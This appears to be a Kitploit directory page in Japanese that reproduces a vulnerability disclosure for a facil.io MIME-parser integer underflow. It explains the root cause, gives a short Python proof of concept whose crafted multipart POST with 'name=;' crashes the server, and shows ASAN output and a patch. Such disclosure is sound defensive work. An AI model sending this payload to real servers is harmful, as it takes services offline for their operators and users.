Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash — セキュリティ勧告: facil.io MIMEパーサーの境界外読み取りによりサーバーがクラッシュする | Kitploit
ツール/GitHubGitHub/theopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash
脆弱性分析ウェブセキュリティ論文と研究学習と教育バイナリエクスプロイト
GitHubtheopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash

CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash

セキュリティ勧告: facil.io MIMEパーサーの境界外読み取りによりサーバーがクラッシュする

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
23日前未レビュー

セキュリティ開示: facil.io MIMEパーサーの領域外読み取りによりサーバーがクラッシュする

割り当てられたCVE ID CVE-2026-66729

製品: facil.io
影響を受けるバージョン: facil.io >= 0.6.0(すべての0.6.x、すべての0.7.x、master); 0.6.0 でMIMEパーサーが追加された際に導入
コンポーネント: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191(整数アンダーフロー)、CWE-125(領域外読み取り)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
研究者: Theodosis Paidakis


概要

複合MIMEボディパーサー内の uint32_t アンダーフローにより、Content-Disposition ヘッダーに空のフィールド名(name=;)が含まれる場合に、領域外読み取りが発生します。name_len がゼロの場合、name[name_len - 1] は name[0xFFFFFFFF] にラップされ、name ポインタから約4GB先を読み取ることになります。これによりフォールトが発生し、サーバープロセスがクラッシュします。認証されていない1回のPOSTリクエストで十分です。


根本原因

lib/facil/http/parsers/http_mime_parser.h, 235〜241行目

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
    name_len = (size_t)(start - name);   // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"')           // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
    --name_len;

name_len は uint32_t として宣言されています。入力 name=; では、memchr が name と同じ位置で ; を見つけるため、start - name = 0 になります。ゼロの uint32_t から1を引くと 0xFFFFFFFF にラップされます。式 name[0xFFFFFFFF] は name_ptr + 4294967295 を計算し、マップされたどの領域からもはるかに外れた位置になります。

236行目のチェック(name[name_len - 1] == '\r')はもう一方の分岐にも同様のパターンがありますが、そこでは name_len が end - name として計算されるため、実際にはゼロになりません。


概念実証

サーバーを起動し、次を実行します:

root@kitploit:~
# poc_mime_oob_read.py
import socket

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=;\r\n"  # empty name before semicolon
    "\r\n"
    "value\r\n"
    "--B--\r\n"
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096))  # no response — server crashed
print('Check the server')

ASAN出力(確認済み):

root@kitploit:~
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF

影響

1回のリクエストでワーカープロセスがクラッシュします。マルチワーカー構成では、影響を受けたワーカーのみが終了し、マスターがそれを再起動します。シングルワーカー構成では、サーバーがオフラインになります。読み取りはデータが返される前にフォールトするため、情報漏えいは実証されていません。


修正

lib/facil/http/parsers/http_mime_parser.h, 241行目

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
    --name_len;
ツールをダウンロード